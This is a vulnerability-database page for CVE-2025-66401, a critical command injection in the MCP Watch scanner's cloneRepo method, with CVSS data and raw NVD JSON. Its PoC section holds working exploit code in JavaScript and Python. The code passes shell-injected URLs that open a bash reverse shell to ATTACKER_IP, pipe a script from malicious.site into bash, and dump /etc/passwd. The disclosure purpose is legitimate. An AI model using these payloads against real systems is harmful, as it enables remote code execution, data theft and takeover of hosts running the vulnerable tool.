Security Vulnerability Report
中文
CVE-2025-66401 CVSS 9.8 CRITICAL

CVE-2025-66401

Published: 2025-12-01 23:15:53
Last Modified: 2026-02-06 16:34:33

Description

MCP Watch is a comprehensive security scanner for Model Context Protocol (MCP) servers. In 0.1.2 and earlier, the MCPScanner class contains a critical Command Injection vulnerability in the cloneRepo method. The application passes the user-supplied githubUrl argument directly to a system shell via execSync without sanitization. This allows an attacker to execute arbitrary commands on the host machine by appending shell metacharacters to the URL.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:kapilduraphe:mcp_watch:*:*:*:*:*:node.js:*:* - VULNERABLE
MCP Watch <= 0.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66401 PoC - MCP Watch Command Injection // Target: MCP Watch <= 0.1.2 // Attack Vector: Malicious githubUrl parameter in cloneRepo method const { MCPScanner } = require('mcp-watch'); async function exploit() { const scanner = new MCPScanner(); // Malicious URL that executes arbitrary command // The semicolon (;) separates commands in shell const maliciousUrl = 'https://github.com/example/repo; whoami > /tmp/pwned.txt'; // Example: Reverse shell payload const reverseShellUrl = 'https://github.com/example/repo; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; // Example: Download and execute malicious script const downloadExecUrl = 'https://github.com/example/repo; curl http://malicious.site/shell.sh | bash'; try { await scanner.cloneRepo(maliciousUrl); } catch (error) { console.log('Exploit attempted, check for command execution'); } } exploit(); // Note: In real attack scenario, the githubUrl parameter is passed via: // 1. API endpoint accepting user input // 2. Configuration file with untrusted content // 3. MCP protocol message containing malicious URL // Python PoC using requests library """ import requests import json target = "http://target-server:3000/api/scan" payload = "https://github.com/example; cat /etc/passwd > /tmp/leak.txt" data = { "githubUrl": payload, "scanOptions": { "deepScan": True } } response = requests.post(target, json=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") """

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66401", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.227", "lastModified": "2026-02-06T16:34:33.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Watch is a comprehensive security scanner for Model Context Protocol (MCP) servers. In 0.1.2 and earlier, the MCPScanner class contains a critical Command Injection vulnerability in the cloneRepo method. The application passes the user-supplied githubUrl argument directly to a system shell via execSync without sanitization. This allows an attacker to execute arbitrary commands on the host machine by appending shell metacharacters to the URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kapilduraphe:mcp_watch:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.2", "matchCriteriaId": "EEA6FBCF-AD89-453B-ACFC-1E09703E03FC"}]}]}], "references": [{"url": "https://github.com/kapilduraphe/mcp-watch/commit/e7da78c5b4b960f8b66c254059ad9ebc544a91a6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kapilduraphe/mcp-watch/security/advisories/GHSA-27m7-ffhq-jqrm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}